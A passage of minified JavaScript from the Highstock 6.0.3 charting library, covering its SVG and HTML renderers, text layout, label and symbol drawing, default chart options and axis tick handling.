t,i=this["stroke-width"];if("inherit"===i&&(i=1),n=n&&n.toLowerCase()){for(n=n.replace("shortdashdotdot","3,1,1,1,1,1,").replace("shortdashdot","3,1,1,1").replace("shortdot","1,1,").replace("shortdash","3,1,").replace("longdash","8,3,").replace(/dot/g,"1,3,").replace("dash","4,3,").replace(/,$/,"").split(","),t=n.length;t--;)n[t]=v(n[t])*i;n=n.join(",").replace(/NaN/g,"none"),this.element.setAttribute("stroke-dasharray",n)}},alignSetter:function(n){this.element.setAttribute("text-anchor",{left:"start",center:"middle",right:"end"}[n])},opacitySetter:function(n,t,i){this[t]=n,i.setAttribute(t,n)},titleSetter:function(n){var t=this.element.getElementsByTagName("title")[0];t||(t=e.createElementNS(this.SVG_NS,"title"),this.element.appendChild(t)),t.firstChild&&t.removeChild(t.firstChild),t.appendChild(e.createTextNode(String(i(n),"").replace(/<[^>]*>/g,"")))},textSetter:function(n){n!==this.textStr&&(delete this.bBox,this.textStr=n,this.added&&this.renderer.buildText(this))},fillSetter:function(n,t,i){"string"==typeof n?i.setAttribute(t,n):n&&this.colorGradient(n,t,i)},visibilitySetter:function(n,t,i){"inherit"===n?i.removeAttribute(t):this[t]!==n&&i.setAttribute(t,n),this[t]=n},zIndexSetter:function(n,i){var s=this.renderer,e=this.parentGroup,o=(e||s).element||s.box,u,h=this.element,f,c,s=o===s.box,r;if(u=this.added,t(n)&&(h.zIndex=n,n=+n,this[i]===n&&(u=!1),this[i]=n),u){for((n=this.zIndex)&&e&&(e.handleZ=!0),i=o.childNodes,r=i.length-1;0<=r&&!f;r--)(e=i[r],u=e.zIndex,c=!t(u),e!==h)&&(0>n&&c&&!s&&!r?(o.insertBefore(h,i[r]),f=!0):(v(u)<=n||c&&(!t(n)||0<=n))&&(o.insertBefore(h,i[r+1]||null),f=!0));f||(o.insertBefore(h,i[s?3:0]||null),f=!0)}return f},_defaultSetter:function(n,t,i){i.setAttribute(t,n)}}),r.prototype.yGetter=r.prototype.xGetter,r.prototype.translateXSetter=r.prototype.translateYSetter=r.prototype.rotationSetter=r.prototype.verticalAlignSetter=r.prototype.rotationOriginXSetter=r.prototype.rotationOriginYSetter=r.prototype.scaleXSetter=r.prototype.scaleYSetter=r.prototype.matrixSetter=function(n,t){this[t]=n,this.doTransform=!0},r.prototype["stroke-widthSetter"]=r.prototype.strokeSetter=function(n,t,i){this[t]=n,this.stroke&&this["stroke-width"]?(r.prototype.fillSetter.call(this,this.stroke,"stroke",i),i.setAttribute("stroke-width",this["stroke-width"]),this.hasStroke=!0):"stroke-width"===t&&0===n&&this.hasStroke&&(i.removeAttribute("stroke"),this.hasStroke=!1)},nt=n.SVGRenderer=function(){this.init.apply(this,arguments)},f(nt.prototype,{Element:r,SVG_NS:b,init:function(n,t,i,r,f,o){var h,s;r=this.createElement("svg").attr({version:"1.1","class":"highcharts-root"}).css(this.getStyle(r)),h=r.element,n.appendChild(h),u(n,"dir","ltr"),-1===n.innerHTML.indexOf("xmlns")&&u(h,"xmlns",this.SVG_NS),this.isSVG=!0,this.box=h,this.boxWrapper=r,this.alignedObjects=[],this.url=(ft||pt)&&e.getElementsByTagName("base").length?p.location.href.replace(/#.*?$/,"").replace(/<[^>]*>/g,"").replace(/([\('\)])/g,"\\$1").replace(/ /g,"%20"):"",this.createElement("desc").add().element.appendChild(e.createTextNode("Created with Highstock 6.0.3")),this.defs=this.createElement("defs").add(),this.allowHTML=o,this.forExport=f,this.gradients={},this.cache={},this.cacheKeys=[],this.imgCount=0,this.setSize(t,i,!1),ft&&n.getBoundingClientRect&&(t=function(){c(n,{left:0,top:0}),s=n.getBoundingClientRect(),c(n,{left:Math.ceil(s.left)-s.left+"px",top:Math.ceil(s.top)-s.top+"px"})},t(),this.unSubPixelFix=g(p,"resize",t))},getStyle:function(n){return this.style=f({fontFamily:'"Lucida Grande", "Lucida Sans Unicode", Arial, Helvetica, sans-serif',fontSize:"12px"},n)},setStyle:function(n){this.boxWrapper.css(this.getStyle(n))},isHidden:function(){return!this.boxWrapper.getBBox().width},destroy:function(){var n=this.defs;return this.box=null,this.boxWrapper=this.boxWrapper.destroy(),lt(this.gradients||{}),this.gradients=null,n&&(this.defs=n.destroy()),this.unSubPixelFix&&this.unSubPixelFix(),this.alignedObjects=null},createElement:function(n){var t=new this.Element;return t.init(this,n),t},draw:yt,getRadialAttr:function(n,t){return{cx:n[0]-n[2]/2+t.cx*n[2],cy:n[1]-n[2]/2+t.cy*n[2],r:t.r*n[2]}},getSpanWidth:function(n,t){var i=n.getBBox(!0).width;return!y&&this.forExport&&(i=this.measureSpanWidth(t.firstChild.data,n.styles)),i},applyEllipsis:function(n,t,i,r){var l=n.rotation,f=i,s,o=0,u=i.length,h=function(n){t.removeChild(t.firstChild),n&&t.appendChild(e.createTextNode(n))},c;if(n.rotation=0,f=this.getSpanWidth(n,t),c=f>r){for(;o<=u;)s=Math.ceil((o+u)/2),f=i.substring(0,s)+"…",h(f),f=this.getSpanWidth(n,t),o===u?o=u+1:f>r?u=s-1:o=s;0===u&&h("")}return n.rotation=l,c},escapes:{"&":"&amp;","<":"&lt;",">":"&gt;","'":"&#39;",'"':"&quot"},buildText:function(n){var r=n.element,l=this,st=l.forExport,f=i(n.textStr,"").toString(),lt=-1!==f.indexOf("<"),ht=r.childNodes,it,tt,ut,p,rt=u(r,"x"),t=n.styles,h=n.textWidth,g=t&&t.lineHeight,a=t&&t.textOutline,w=t&&"ellipsis"===t.textOverflow,d=t&&"nowrap"===t.whiteSpace,ct=t&&t.fontSize,nt,k,ft=ht.length,t=h&&!n.added&&this.box,et=function(n){var t;return t=/(px|em)$/.test(n&&n.style.fontSize)?n.style.fontSize:ct||l.style.fontSize||12,g?v(g):l.fontMetrics(t,n.getAttribute("style")?n:r).h},ot=function(n){return s(l.escapes,function(t,i){n=n.replace(new RegExp(t,"g"),i)}),n};if(nt=[f,w,d,g,a,ct,h].join(),nt!==n.textCache){for(n.textCache=nt;ft--;)r.removeChild(ht[ft]);lt||a||w||h||-1!==f.indexOf(" ")?(it=/<.*class="([^"]+)".*>/,tt=/<.*style="([^"]+)".*>/,ut=/<.*href="([^"]+)".*>/,t&&t.appendChild(r),f=lt?f.replace(/<(b|strong)>/g,'<span style="font-weight:bold">').replace(/<(i|em)>/g,'<span style="font-style:italic">').replace(/<a/g,"<span").replace(/<\/(b|strong|i|em|a)>/g,"</span>").split(/<br.*?>/g):[f],f=at(f,function(n){return""!==n}),o(f,function(t,i){var f,s=0;t=t.replace(/^\s+|\s+$/g,"").replace(/<span/g,"|||<span").replace(/<\/span>/g,"</span>|||"),f=t.split("|||"),o(f,function(t){var a,o,nt,ft;if((""!==t||1===f.length)&&(a={},o=e.createElementNS(l.SVG_NS,"tspan"),it.test(t)&&(nt=t.match(it)[1],u(o,"class",nt)),tt.test(t)&&(ft=t.match(tt)[1].replace(/(;| |^)color([ :])/,"$1fill$2"),u(o,"style",ft)),ut.test(t)&&!st&&(u(o,"onclick",'location.href="'+t.match(ut)[1]+'"'),u(o,"class","highcharts-anchor"),c(o,{cursor:"pointer"})),t=ot(t.replace(/<[a-zA-Z\/](.|\n)*?>/g,"")||" ")," "!==t)){if(o.appendChild(e.createTextNode(t)),s?a.dx=0:i&&null!==rt&&(a.x=rt),u(o,a),r.appendChild(o),!s&&k&&(!y&&st&&c(o,{display:"block"}),u(o,"dy",et(o))),h){a=t.replace(/([^\^])-/g,"$1- ").split(" "),nt=1<f.length||i||1<a.length&&!d;var v=[],g,ct=et(o),ht=n.rotation;for(w&&(p=l.applyEllipsis(n,o,t,h));!w&&nt&&(a.length||v.length);)n.rotation=0,g=l.getSpanWidth(n,o),t=g>h,void 0===p&&(p=t),t&&1!==a.length?(o.removeChild(o.firstChild),v.unshift(a.pop())):(a=v,v=[],a.length&&!d&&(o=e.createElementNS(b,"tspan"),u(o,{dy:ct,x:rt}),ft&&u(o,"style",ft),r.appendChild(o)),g>h&&(h=g)),a.length&&o.appendChild(e.createTextNode(a.join(" ").replace(/- /g,"-")));n.rotation=ht}s++}}),k=k||r.childNodes.length}),p&&n.attr("title",n.textStr),t&&t.removeChild(r),a&&n.applyTextOutline&&n.applyTextOutline(a)):r.appendChild(e.createTextNode(ot(f)))}},getContrast:function(n){return n=vt(n).rgba,510<n[0]+n[1]+n[2]?"#000000":"#FFFFFF"},button:function(n,t,i,r,u,e,o,s,c){var l=this.label(n,t,i,c,null,null,null,null,"button"),a=0,v,b,p,y;l.attr(h({padding:8,r:2},u)),u=h({fill:"#f7f7f7",stroke:"#cccccc","stroke-width":1,style:{color:"#333333",cursor:"pointer",fontWeight:"normal"}},u),v=u.style,delete u.style,e=h(u,{fill:"#e6e6e6"},e),b=e.style,delete e.style,o=h(u,{fill:"#e6ebf5",style:{color:"#000000",fontWeight:"bold"}},o),p=o.style,delete o.style,s=h(u,{style:{color:"#cccccc"}},s),y=s.style,delete s.style,g(l.element,w?"mouseover":"mouseenter",function(){3!==a&&l.setState(1)}),g(l.element,w?"mouseout":"mouseleave",function(){3!==a&&l.setState(a)}),l.setState=function(n){1!==n&&(l.state=a=n),l.removeClass(/highcharts-button-(normal|hover|pressed|disabled)/).addClass("highcharts-button-"+["normal","hover","pressed","disabled"][n||0]),l.attr([u,e,o,s][n||0]).css([v,b,p,y][n||0])},l.attr(u).css(f({cursor:"default"},v));return l.on("click",function(n){3!==a&&r.call(l,n)})},crispLine:function(n,t){return n[1]===n[4]&&(n[1]=n[4]=Math.round(n[1])-t%2/2),n[2]===n[5]&&(n[2]=n[5]=Math.round(n[2])+t%2/2),n},path:function(n){var t={fill:"none"};return rt(n)?t.d=n:a(n)&&f(t,n),this.createElement("path").attr(t)},circle:function(n,t,i){return n=a(n)?n:{x:n,y:t,r:i},t=this.createElement("circle"),t.xSetter=t.ySetter=function(n,t,i){i.setAttribute("c"+t,n)},t.attr(n)},arc:function(n,t,i,r,u,f){return a(n)?(r=n,t=r.y,i=r.r,n=r.x):r={innerR:r,start:u,end:f},n=this.symbol("arc",n,t,i,i,r),n.r=i,n},rect:function(n,t,i,r,f,e){f=a(n)?n.r:f;var o=this.createElement("rect");return n=a(n)?n:void 0===n?{}:{x:n,y:t,width:Math.max(i,0),height:Math.max(r,0)},void 0!==e&&(n.strokeWidth=e,n=o.crisp(n)),n.fill="none",f&&(n.r=f),o.rSetter=function(n,t,i){u(i,{rx:n,ry:n})},o.attr(n)},setSize:function(n,t,r){var f=this.alignedObjects,u=f.length;for(this.width=n,this.height=t,this.boxWrapper.animate({width:n,height:t},{step:function(){this.attr({viewBox:"0 0 "+this.attr("width")+" "+this.attr("height")})},duration:i(r,!0)?void 0:0});u--;)f[u].align()},g:function(n){var t=this.createElement("g");return n?t.attr({"class":"highcharts-"+n}):t},image:function(n,t,i,r,u){var e={preserveAspectRatio:"none"};return 1<arguments.length&&f(e,{x:t,y:i,width:r,height:u}),e=this.createElement("image").attr(e),e.element.setAttributeNS?e.element.setAttributeNS("http://www.w3.org/1999/xlink","href",n):e.element.setAttribute("hc-svg-href",n),e},symbol:function(n,r,u,s,h,a){var k=this,v,d=/^url\((.*?)\)$/,g=d.test(n),b=!g&&(this.symbols[n]?n:"circle"),p=b&&this.symbols[b],nt=t(r)&&p&&p.call(this.symbols,Math.round(r),Math.round(u),s,h,a),y,w;return p?(v=this.path(nt),v.attr("fill","none"),f(v,{symbolName:b,x:r,y:u,width:s,height:h}),a&&f(v,a)):g&&(y=n.match(d)[1],v=this.image(y),v.imgwidth=i(l[y]&&l[y].width,a&&a.width),v.imgheight=i(l[y]&&l[y].height,a&&a.height),w=function(){v.attr({width:v.width,height:v.height})},o(["width","height"],function(n){v[n+"Setter"]=function(n,i){var u={},r=this["img"+i],f="width"===i?"translateX":"translateY";this[i]=n,t(r)&&(this.element&&this.element.setAttribute(i,r),this.alignByTranslate||(u[f]=((this[i]||0)-r)/2,this.attr(u)))}}),t(r)&&v.attr({x:r,y:u}),v.isImg=!0,t(v.imgwidth)&&t(v.imgheight)?w():(v.attr({width:0,height:0}),it("img",{onload:function(){var n=ht[k.chartIndex];0===this.width&&(c(this,{position:"absolute",top:"-999em"}),e.body.appendChild(this)),l[y]={width:this.width,height:this.height},v.imgwidth=this.width,v.imgheight=this.height,v.element&&w(),this.parentNode&&this.parentNode.removeChild(this),k.imgCount--,!k.imgCount&&n&&n.onload&&n.onload()},src:y}),this.imgCount++)),v},symbols:{circle:function(n,t,i,r){return this.arc(n+i/2,t+r/2,i/2,r/2,{start:0,end:2*Math.PI,open:!1})},square:function(n,t,i,r){return["M",n,t,"L",n+i,t,n+i,t+r,n,t+r,"Z"]},triangle:function(n,t,i,r){return["M",n+i/2,t,"L",n+i,t+r,n,t+r,"Z"]},"triangle-down":function(n,t,i,r){return["M",n,t,"L",n+i,t,n+i/2,t+r,"Z"]},diamond:function(n,t,i,r){return["M",n+i/2,t,"L",n+i,t+r/2,n+i/2,t+r,n,t+r/2,"Z"]},arc:function(n,r,u,f,e){var c=e.start,o=e.r||u,h=e.r||f||u,s=e.end-.001;u=e.innerR,f=i(e.open,.001>Math.abs(e.end-e.start-2*Math.PI));var v=Math.cos(c),a=Math.sin(c),l=Math.cos(s),s=Math.sin(s);return e=.001>e.end-c-Math.PI?0:1,o=["M",n+o*v,r+h*a,"A",o,h,0,e,1,n+o*l,r+h*s],t(u)&&o.push(f?"M":"L",n+u*l,r+u*s,"A",u,u,0,e,0,n+u*v,r+u*a),o.push(f?"":"Z"),o},callout:function(n,t,i,r,u){var e=Math.min(u&&u.r||0,i,r),s=e+6,f=u&&u.anchorX,o;return u=u&&u.anchorY,o=["M",n+e,t,"L",n+i-e,t,"C",n+i,t,n+i,t,n+i,t+e,"L",n+i,t+r-e,"C",n+i,t+r,n+i,t+r,n+i-e,t+r,"L",n+e,t+r,"C",n,t+r,n,t+r,n,t+r-e,"L",n,t+e,"C",n,t,n,t,n+e,t],f&&f>i?u>t+s&&u<t+r-s?o.splice(13,3,"L",n+i,u-6,n+i+6,u,n+i,u+6,n+i,t+r-e):o.splice(13,3,"L",n+i,r/2,f,u,n+i,r/2,n+i,t+r-e):f&&0>f?u>t+s&&u<t+r-s?o.splice(33,3,"L",n,u+6,n-6,u,n,u-6,n,t+e):o.splice(33,3,"L",n,r/2,f,u,n,r/2,n,t+e):u&&u>r&&f>n+s&&f<n+i-s?o.splice(23,3,"L",f+6,t+r,f,t+r+6,f-6,t+r,n+e,t+r):u&&0>u&&f>n+s&&f<n+i-s&&o.splice(3,3,"L",f-6,t,f,t-6,f+6,t,i-e,t),o}},clipRect:function(t,i,r,u){var e=n.uniqueKey(),f=this.createElement("clipPath").attr({id:e}).add(this.defs);return t=this.rect(t,i,r,u,0).add(f),t.id=e,t.clipPath=f,t.count=0,t},text:function(n,t,i,r){var u={};return r&&(this.allowHTML||!this.forExport)?this.html(n,t,i):(u.x=Math.round(t||0),i&&(u.y=Math.round(i)),(n||0===n)&&(u.text=n),n=this.createElement("text").attr(u),r||(n.xSetter=function(n,t,i){for(var f=i.getElementsByTagName("tspan"),u,e=i.getAttribute(t),r=0;r<f.length;r++)u=f[r],u.getAttribute(t)===e&&u.setAttribute(t,n);i.setAttribute(t,n)}),n)},fontMetrics:function(n,t){return n=n||t&&t.style&&t.style.fontSize||this.style&&this.style.fontSize,n=/px/.test(n)?v(n):/em/.test(n)?parseFloat(n)*(t?this.fontMetrics(null,t.parentNode).f:16):12,t=24>n?n+3:Math.round(1.2*n),{h:t,b:Math.round(.8*t),f:n}},rotCorr:function(n,t,i){var r=n;return t&&i&&(r=Math.max(r*Math.cos(t*k),4)),{x:-n/3*Math.sin(t*k),y:r}},label:function(i,u,e,s,c,l,a,v,y){var g=this,p=g.g("button"!==y&&"label"),w=p.text=g.text("",0,0,a).attr({zIndex:1}),b,d,ot=0,k=3,st=0,tt,vt,ht,at,it,yt={},bt,pt,lt=/^url\((.*?)\)$/.test(s),ut=lt,ct,ft,rt,nt,wt;return y&&p.addClass("highcharts-"+y),ut=lt,ct=function(){return(bt||0)%2/2},ft=function(){var i=w.element.style,n={};d=(void 0===tt||void 0===vt||it)&&t(w.textStr)&&w.getBBox(),p.width=(tt||d.width||0)+2*k+st,p.height=(vt||d.height||0)+2*k,pt=k+g.fontMetrics(i&&i.fontSize,w).b,ut&&(b||(p.box=b=g.symbols[s]||lt?g.symbol(s):g.rect(),b.addClass(("button"===y?"":"highcharts-label-box")+(y?" highcharts-"+y+"-box":"")),b.add(p),i=ct(),n.x=i,n.y=(v?-pt:0)+i),n.width=Math.round(p.width),n.height=Math.round(p.height),b.attr(f(n,yt)),yt={})},rt=function(){var i=st+k,n;n=v?0:pt,t(tt)&&d&&("center"===it||"right"===it)&&(i+={center:.5,right:1}[it]*(tt-d.width)),(i!==w.x||n!==w.y)&&(w.attr("x",i),void 0!==n&&w.attr("y",n)),w.x=i,w.y=n},nt=function(n,t){b?b.attr(n,t):yt[n]=t},p.onAdd=function(){w.add(p),p.attr({text:i||0===i?i:"",x:u,y:e}),b&&t(c)&&p.attr({anchorX:c,anchorY:l})},p.widthSetter=function(t){tt=n.isNumber(t)?t:null},p.heightSetter=function(n){vt=n},p["text-alignSetter"]=function(n){it=n},p.paddingSetter=function(n){t(n)&&n!==k&&(k=p.padding=n,rt())},p.paddingLeftSetter=function(n){t(n)&&n!==st&&(st=n,rt())},p.alignSetter=function(n){n={left:0,center:.5,right:1}[n],n!==ot&&(ot=n,d&&p.attr({x:ht}))},p.textSetter=function(n){void 0!==n&&w.textSetter(n),ft(),rt()},p["stroke-widthSetter"]=function(n,t){n&&(ut=!0),bt=this["stroke-width"]=n,nt(t,n)},p.strokeSetter=p.fillSetter=p.rSetter=function(n,t){"r"!==t&&("fill"===t&&n&&(ut=!0),p[t]=n),nt(t,n)},p.anchorXSetter=function(n,t){c=p.anchorX=n,nt(t,Math.round(n)-ct()-ht)},p.anchorYSetter=function(n,t){l=p.anchorY=n,nt(t,n-at)},p.xSetter=function(n){p.x=n,ot&&(n-=ot*((tt||d.width)+2*k)),ht=Math.round(n),p.attr("translateX",ht)},p.ySetter=function(n){at=p.y=Math.round(n),p.attr("translateY",at)},wt=p.css,f(p,{css:function(n){if(n){var t={};n=h(n),o(p.textProps,function(i){void 0!==n[i]&&(t[i]=n[i],delete n[i])}),w.css(t)}return wt.call(p,n)},getBBox:function(){return{width:d.width+2*k,height:d.height+2*k,x:d.x-k,y:d.y-k}},shadow:function(n){return n&&(ft(),b&&b.shadow(n)),p},destroy:function(){et(p.element,"mouseenter"),et(p.element,"mouseleave"),w&&(w=w.destroy()),b&&(b=b.destroy()),r.prototype.destroy.call(p),p=g=ft=rt=nt=null}})}}),n.Renderer=nt}(t),function(n){var h=n.attr,v=n.createElement,t=n.css,a=n.defined,i=n.each,r=n.extend,o=n.isFirefox,e=n.isMS,u=n.isWebKit,y=n.pick,l=n.pInt,s=n.SVGRenderer,f=n.win,c=n.wrap;r(n.SVGElement.prototype,{htmlCss:function(n){var i=this.element;return(i=n&&"SPAN"===i.tagName&&n.width)&&(delete n.width,this.textWidth=i,this.updateTransform()),n&&"ellipsis"===n.textOverflow&&(n.whiteSpace="nowrap",n.overflow="hidden"),this.styles=r(this.styles,n),t(this.element,n),this},htmlGetBBox:function(){var n=this.element;return{x:n.offsetLeft,y:n.offsetTop,width:n.offsetWidth,height:n.offsetHeight}},htmlUpdateTransform:function(){if(this.added){var p=this.renderer,n=this.element,v=this.translateX||0,y=this.translateY||0,w=this.x||0,b=this.y||0,e=this.textAlign||"left",c={left:0,center:.5,right:1}[e],r=this.styles;if(t(n,{marginLeft:v,marginTop:y}),this.shadows&&i(this.shadows,function(n){t(n,{marginLeft:v+1,marginTop:y+1})}),this.inverted&&i(n.childNodes,function(t){p.invertChild(t,n)}),"SPAN"===n.tagName){var f=this.rotation,h=l(this.textWidth),o=r&&r.whiteSpace,s=[f,e,n.innerHTML,this.textWidth,this.textAlign].join();s!==this.cTT&&(r=p.fontMetrics(n.style.fontSize).b,a(f)&&this.setSpanRotation(f,c,r),t(n,{width:"",whiteSpace:o||"nowrap"}),n.offsetWidth>h&&/[ \-]/.test(n.textContent||n.innerText)&&t(n,{width:h+"px",display:"block",whiteSpace:o||"normal"}),this.getSpanCorrection(n.offsetWidth,r,c,f,e)),t(n,{left:w+(this.xCorr||0)+"px",top:b+(this.yCorr||0)+"px"}),u&&(r=n.offsetHeight),this.cTT=s}}else this.alignOnAdd=!0},setSpanRotation:function(n,i,r){var u={},f=this.renderer.getTransformKey();u[f]=u.transform="rotate("+n+"deg)",u[f+(o?"Origin":"-origin")]=u.transformOrigin=100*i+"% "+r+"px",t(this.element,u)},getSpanCorrection:function(n,t,i){this.xCorr=-n*i,this.yCorr=-t}}),r(s.prototype,{getTransformKey:function(){return e&&!/Edge/.test(f.navigator.userAgent)?"-ms-transform":u?"-webkit-transform":o?"MozTransform":f.opera?"-o-transform":""},html:function(n,t,u){var f=this.createElement("span"),o=f.element,s=f.renderer,a=s.isSVG,l=function(n,t){i(["opacity","visibility"],function(i){c(n,i+"Setter",function(n,i,r,u){n.call(this,i,r,u),t[r]=i})})};return f.textSetter=function(n){n!==o.innerHTML&&delete this.bBox,this.textStr=n,o.innerHTML=y(n,""),f.htmlUpdateTransform()},a&&l(f,f.element.style),f.xSetter=f.ySetter=f.alignSetter=f.rotationSetter=function(n,t){"align"===t&&(t="textAlign"),f[t]=n,f.htmlUpdateTransform()},f.attr({text:n,x:Math.round(t),y:Math.round(u)}).css({fontFamily:this.style.fontFamily,fontSize:this.style.fontSize,position:"absolute"}),o.style.whiteSpace="nowrap",f.css=f.htmlCss,a&&(f.add=function(n){var t,c=s.box.parentNode,u=[];if(this.parentGroup=n){if(t=n.div,!t){for(;n;)u.push(n),n=n.parentGroup;i(u.reverse(),function(n){function a(t,r){n[r]=t,e?i[s.getTransformKey()]="translate("+(n.x||n.translateX)+"px,"+(n.y||n.translateY)+"px)":"translateX"===r?i.left=t+"px":i.top=t+"px",n.doTransform=!0}var i,o=h(n.element,"class");o&&(o={className:o}),t=n.div=n.div||v("div",o,{position:"absolute",left:(n.translateX||0)+"px",top:(n.translateY||0)+"px",display:n.display,opacity:n.opacity,pointerEvents:n.styles&&n.styles.pointerEvents},t||c),i=t.style,r(n,{classSetter:function(n){this.element.setAttribute("class",n),t.className=n},on:function(){return u[0].div&&f.on.apply({element:u[0].div},arguments),n},translateXSetter:a,translateYSetter:a}),l(n,i)})}}else t=c;return t.appendChild(o),f.added=!0,f.alignOnAdd&&f.htmlUpdateTransform(),f}),f}})}(t),function(n){function u(){var t=n.defaultOptions.global,r=i.moment;if(t.timezone){if(r)return function(n){return-r.tz(n,t.timezone).utcOffset()};n.error(25)}return t.useUTC&&t.getTimezoneOffset}function r(){var r=n.defaultOptions.global,f,s=r.useUTC,c=s?"getUTC":"get",l=s?"setUTC":"set",o="Minutes Hours Day Date Month FullYear".split(" "),h=o.concat(["Milliseconds","Seconds"]);for(n.Date=f=r.Date||i.Date,f.hcTimezoneOffset=s&&r.timezoneOffset,f.hcGetTimezoneOffset=u(),f.hcMakeTime=function(n,i,r,u,o,h){var c;return s?(c=f.UTC.apply(0,arguments),c+=e(c)):c=new f(n,i,t(r,1),t(u,0),t(o,0),t(h,0)).getTime(),c},r=0;r<o.length;r++)f["hcGet"+o[r]]=c+o[r];for(r=0;r<h.length;r++)f["hcSet"+h[r]]=l+h[r]}var f=n.color,e=n.getTZOffset,o=n.merge,t=n.pick,i=n.win;n.defaultOptions={colors:"#7cb5ec #434348 #90ed7d #f7a35c #8085e9 #f15c80 #e4d354 #2b908f #f45b5b #91e8e1".split(" "),symbols:["circle","diamond","square","triangle","triangle-down"],lang:{loading:"Loading...",months:"January February March April May June July August September October November December".split(" "),shortMonths:"Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),weekdays:"Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split(" "),decimalPoint:".",numericSymbols:"kMGTPE".split(""),resetZoom:"Reset zoom",resetZoomTitle:"Reset zoom level 1:1",thousandsSep:" "},global:{useUTC:!0},chart:{borderRadius:0,defaultSeriesType:"line",ignoreHiddenSeries:!0,spacing:[10,10,15,10],resetZoomButton:{theme:{zIndex:20},position:{align:"right",x:-10,y:10}},width:null,height:null,borderColor:"#335cad",backgroundColor:"#ffffff",plotBorderColor:"#cccccc"},title:{text:"Chart title",align:"center",margin:15,widthAdjust:-44},subtitle:{text:"",align:"center",widthAdjust:-44},plotOptions:{},labels:{style:{position:"absolute",color:"#333333"}},legend:{enabled:!0,align:"center",layout:"horizontal",labelFormatter:function(){return this.name},borderColor:"#999999",borderRadius:0,navigation:{activeColor:"#003399",inactiveColor:"#cccccc"},itemStyle:{color:"#333333",fontSize:"12px",fontWeight:"bold",textOverflow:"ellipsis"},itemHoverStyle:{color:"#000000"},itemHiddenStyle:{color:"#cccccc"},shadow:!1,itemCheckboxStyle:{position:"absolute",width:"13px",height:"13px"},squareSymbol:!0,symbolPadding:5,verticalAlign:"bottom",x:0,y:0,title:{style:{fontWeight:"bold"}}},loading:{labelStyle:{fontWeight:"bold",position:"relative",top:"45%"},style:{position:"absolute",backgroundColor:"#ffffff",opacity:.5,textAlign:"center"}},tooltip:{enabled:!0,animation:n.svg,borderRadius:3,dateTimeLabelFormats:{millisecond:"%A, %b %e, %H:%M:%S.%L",second:"%A, %b %e, %H:%M:%S",minute:"%A, %b %e, %H:%M",hour:"%A, %b %e, %H:%M",day:"%A, %b %e, %Y",week:"Week from %A, %b %e, %Y",month:"%B %Y",year:"%Y"},footerFormat:"",padding:8,snap:n.isTouchDevice?25:10,backgroundColor:f("#f7f7f7").setOpacity(.85).get(),borderWidth:1,headerFormat:'<span style="font-size: 10px">{point.key}</span><br/>',pointFormat:'<span style="color:{point.color}">●</span> {series.name}: <b>{point.y}</b><br/>',shadow:!0,style:{color:"#333333",cursor:"default",fontSize:"12px",pointerEvents:"none",whiteSpace:"nowrap"}},credits:{enabled:!0,href:"http://www.highcharts.com",position:{align:"right",x:-10,verticalAlign:"bottom",y:-5},style:{cursor:"pointer",color:"#999999",fontSize:"9px"},text:"Highcharts.com"}},n.setOptions=function(t){return n.defaultOptions=o(!0,n.defaultOptions,t),r(),n.defaultOptions},n.getOptions=function(){return n.defaultOptions},n.defaultPlotOptions=n.defaultOptions.plotOptions,r()}(t),function(n){var e=n.correctFloat,r=n.defined,f=n.destroyObjectProperties,u=n.isNumber,o=n.merge,t=n.pick,i=n.deg2rad;n.Tick=function(n,t,i,r){this.axis=n,this.pos=t,this.type=i||"",this.isNewLabel=this.isNew=!0,i||r||this.addLabel()},n.Tick.prototype={addLabel:function(){var n=this.axis,s=n.options,v=n.chart,f=n.categories,c=n.names,i=this.pos,h=s.labels,u=n.tickPositions,y=i===u[0],l=i===u[u.length-1],c=f?t(f[i],c[i],i):i,f=this.label,u=u.info,a;n.isDatetimeAxis&&u&&(a=s.dateTimeLabelFormats[u.higherRanks[i]||u.unitName]),this.isFirst=y,this.isLast=l,s=n.labelFormatter.call({axis:n,chart:v,isFirst:y,isLast:l,dateTimeLabelFormat:a,value:n.isLog?e(n.lin2log(c)):c,pos:i}),r(f)?f&&f.attr({text:s}):(this.labelLength=(this.label=f=r(s)&&h.enabled?v.renderer.text(s,0,0,h.useHTML).css(o(h.style)).add(n.labelGroup):null)&&f.getBBox().width,this.rotation=0)},getLabelSize:function(){return this.label?this.label.getBBox()[this.axis.horiz?"height":"width"]:0},handleOverflow:function(n){var r=this.axis,o=n.x,a=r.chart.chartWidth,c=r.chart.spacing,v=t(r.labelLeft,Math.min(r.pos,c[3])),c=t(r.labelRight,Math.max(r.pos+r.len,a-c[1])),p=this.label,l=this.rotation,f={left:0,center:.5,right:1}[r.labelAlign],e=p.getBBox().width,h=r.getSlotWidth(),u=h,w=1,s,y={};l?0>l&&o-f*e<v?s=Math.round(o/Math.cos(l*i)-v):0<l&&o+f*e>c&&(s=Math.round((a-o)/Math.cos(l*i))):(a=o+(1-f)*e,o-f*e<v?u=n.x+u*(1-f)-v:a>c&&(u=c-n.x+u*f,w=-1),u=Math.min(h,u),u<h&&"center"===r.labelAlign&&(n.x+=w*(h-u-f*(h-Math.min(e,u)))),e>u||r.autoRotation&&(p.styles||{}).width)&&(s=u),s&&(y.width=s,(r.options.labels.style||{}).textOverflow||(y.textOverflow="ellipsis"),p.css(y))},getPosition:function(n,t,i,r){var u=this.axis,f=u.chart,e=r&&f.oldChartHeight||f.chartHeight;return{x:n?u.translate(t+i,null,null,r)+u.transB:u.left+u.offset+(u.opposite?(r&&f.oldChartWidth||f.chartWidth)-u.right-u.left:0),y:n?e-u.bottom+u.offset-(u.opposite?u.height:0):e-u.translate(t+i,null,null,r)-u.transB}},getLabelPosition:function(n,t,u,f,e,o,s,h){var c=this.axis,p=c.transA,y=c.reversed,l=c.staggerLines,a=c.tickRotCorr||{x:0,y:0},v=e.y;return r(v)||(v=0===c.side?u.rotation?-8:-u.getBBox().height:2===c.side?a.y+8:Math.cos(u.rotation*i)*(a.y-u.getBBox(!1,0).height/2)),n=n+e.x+a.x-(o&&f?o*p*(y?-1:1):0),t=t+v-(o&&!f?o*p*(y?1:-1):0),l&&(u=s/(h||1)%l,c.opposite&&(u=l-u-1),t+=c.labelOffset/l*u),{x:n,y:Math.round(t)}},getMarkPath:function(n,t,i,r,u,f){return f.crispLine(["M",n,t,"L",n+(u?0:-i),t+(u?i:0)],r)},renderGridLine:function(n,t,i){var 